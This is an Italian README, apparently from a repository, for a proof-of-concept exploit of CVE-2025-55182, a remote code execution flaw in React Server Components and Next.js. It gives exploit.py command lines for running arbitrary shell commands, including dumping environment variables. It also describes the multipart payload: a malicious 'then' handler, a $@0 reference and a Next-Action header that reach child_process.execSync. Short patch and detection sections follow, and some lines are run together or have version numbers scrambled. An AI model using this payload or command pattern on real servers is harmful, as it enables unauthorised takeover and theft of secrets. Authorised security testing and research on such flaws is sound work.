
POC per React2Shell (CVE-2025-55182)
Questo repository contiene una proof of concept per CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice nei React Server Components. Questo è destinato esclusivamente a test di sicurezza autorizzati e scopi di ricerca.
React:
Next.js:
La vulnerabilità sfrutta una deserializzazione non sicura nel protocollo Flight dei React Server Components. Quando un server riceve un payload appositamente costruito, non riesce a validare correttamente la struttura prima della deserializzazione, consentendo a dati controllati dall'attaccante di manipolare l'esecuzione lato server.
then personalizzatoprocess.mainModule.require('child_process')npm install
npm run dev
Il server si avvierà su http://localhost:3000
app/
├── page.js # Pagina principale con ServerForm
├── ServerForm.js # Componente client con form
├── actions.js # Server Action vulnerabile
└── layout.js # Layout principale
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: URL del bersaglio (obbligatorio)-c, --command: Comando shell da eseguire (predefinito: id)--check-only: Verifica solo se il bersaglio sembra vulnerabileVerifica se il bersaglio è vulnerabile:
python3 exploit.py -t http://localhost:3000 --check-only
Esecuzione di comandi arbitrari:
# Ottieni informazioni utente
python3 exploit.py -t http://localhost:3000 -c "id"
# Elenca i file
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Crea un file come POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Leggi le variabili d'ambiente
python3 exploit.py -t http://localhost:3000 -c "env"
L'exploit utilizza form-data multipart con:
Campo "0": JSON dannoso con gestore 'then' personalizzato
Campo "1": Riferimento al campo 0 ($@0)
Header: Next-Action: x (attiva l'elaborazione RSC)
Il payload manipola l'oggetto interno _response per eseguire:
process.mainModule.require('child_process').execSync('<comando>')
Aggiornare React:
npm install [email protected] [email protected]
Aggiornare Next.js:
npm install [email protected] # o ultima versione patchata
Next-Action$@then sospette nei corpi delle richiestePOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...contenente {"then":"$@
Questa proof of concept è fornita esclusivamente per scopi educativi e test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità per l'uso improprio di queste informazioni.
NON:
Licenza MIT - Solo per Scopi di Ricerca sulla Sicurezza